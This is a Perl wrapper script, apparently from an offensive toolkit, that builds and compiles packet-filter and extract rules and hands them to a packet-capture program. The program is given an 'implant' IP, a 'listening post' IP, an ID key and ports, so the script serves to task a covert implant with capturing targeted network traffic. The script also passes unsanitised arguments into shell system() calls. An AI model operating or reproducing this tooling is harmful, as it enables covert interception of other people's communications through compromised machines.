#! /usr/bin/env perl

use Getopt::Long;

$pathToCompilers = "UTILS/";
sub usage{
  print "
@_:
creates, compiles, uploads, and selects a filter and an extract for profiling
  
Usage: @_ \\
    --skip <Skip count> \\
    --take <Take count> \\
    --extractout <Extract output file> \\
    --filterrule <Rules for the filter> \\
    --netmask <Netmask> \\
    --filterout <Filter output file> \\
    --extractID <Extract ID> \\
    --filterID <Filter ID> \\
    --cmd <Filter upload command> \\
    --idkey <ID key> \\
    --sport <Source port> \\
    --dport <Destination port> \\
    --lp <Listening post IP> \\
    --implant <Implant IP> \\
    --bsize <Benign size> \\
    --logdir <Log directory>

where:
    --skip <Skip count>
        Number of bytes to skip
    --take <Take count>
        Number of bytes to take after skipping
    --extractout <Extract output file>
        Output file for the compiled extract rule
    --filterrule <Rules for the filter>
        Filter rules, entered in one string e.g.:
            \"ip and proto \\tcp or \\udp\"
    --netmask <Netmask>
        Netmask for the filter, in w.x.y.z format
    --filterout <Filter output file>
        Output file for the compiled filter rules
    --extractID <Extract ID>
        Extract ID number
    --filterID <Filter ID>
        Filter ID number

and:
    --cmd <Filter upload command>
    --idkey <ID Key> --sport <Source port> --dport <Destination port>
    --lp <Listening  post> --implant <Implant IP> --bsize <Benign size>
    --logdir <Log directory>
        are all provided by the LP
\n";
}

GetOptions("skip=i", "take=i", "extractout=s", "filterrule=s", "netmask=s", "filterout=s", "idkey=s", "sport=s", "dport=s", "lp=s", "implant=s", "bsize=s", "logdir=s", "extractID=s", "filterID=s", "cmd=s");

if(!defined($opt_skip) || !defined($opt_take) || !defined($opt_extractout) || !defined($opt_filterrule) || !defined($opt_filterout) || !defined($opt_netmask)
   || !defined($opt_idkey) || !defined($opt_sport) || !defined($opt_dport) || !defined($opt_lp) || !defined($opt_implant) || !defined($opt_bsize) || !defined($opt_logdir)
   || !defined($opt_extractID) || !defined($opt_filterID) || !defined($opt_cmd)){
    usage($0);
    die;
}

# strip the " " that are added by the .mod call
#$opt_extractout = substr( $opt_extractout, 0, length($opt_extractout) );
#$opt_filterout = substr( $opt_filterout, 0, length($opt_filterout) );
#$opt_skip = substr( $opt_skip, 0, length($opt_skip) );
#$opt_take = substr( $opt_take, 0, length($opt_take) );
#$opt_filterrule = substr( $opt_filterrule, 0, length($opt_filterrule) );
#$opt_netmask = substr( $opt_netmask, 0, length($opt_netmask) );
#$opt_filterID = substr( $opt_filterID, 0, length($opt_filterID) );
#$opt_extractID = substr( $opt_extractID, 0, length($opt_extractID) );

# ./xtrctcomp-2200 text_extract compiled_extract
# ./bpfcompiler-2200 <-i filter_input_file> <-o output_file_name>
# first make the blank files to be passed into the compilers
$pathToX = sprintf("%sextract.deleteMe", $pathToCompilers);
$pathToF = sprintf("%sfilter.deleteMe", $pathToCompilers);

if(open(XTRACT, ">", $pathToX) == -1){
    print "Error in opening extract\n";
    die();
}
if(open(FILTER, ">", $pathToF) == -1){
    print "Error in opening filter\n";
    die();
}

printf(XTRACT "%s %s", $opt_take, $opt_skip);
printf(FILTER "filter:%s\nnetmask:%s\n", $opt_filterrule, $opt_netmask);
close(XTRACT);
close(FILTER);

# now run the compilers
$pathToXCompiler = sprintf("%sxtrctcomp-2200",$pathToCompilers);
if(system("$pathToXCompiler $pathToX $opt_extractout")==-1){
    print "Error compiling extract\n";
    die();
}
$pathToFCompiler = sprintf("%sbpfcompiler-2200",$pathToCompilers);
if(system("$pathToFCompiler -i $pathToF -o $opt_filterout")==-1){
    print "Error compiling filter\n";
    die();
}

# now delete the leftover uncompiled files
system("rm $pathToX $pathToF");

# call the miniprogram
system("./PacketCap_extractAndFilter-2200 --arg1 $opt_filterID --arg2 $opt_filterout --arg3 $opt_extractID --arg4 $opt_extractout --idkey $opt_idkey --sport $opt_sport --dport $opt_dport --lp $opt_lp --implant $opt_implant --bsize $opt_bsize --logdir $opt_logdir --filterup $opt_cmd");

# now delete the leftover compiled files
#sleep(4);
#system("rm $opt_filterout $opt_extractout");
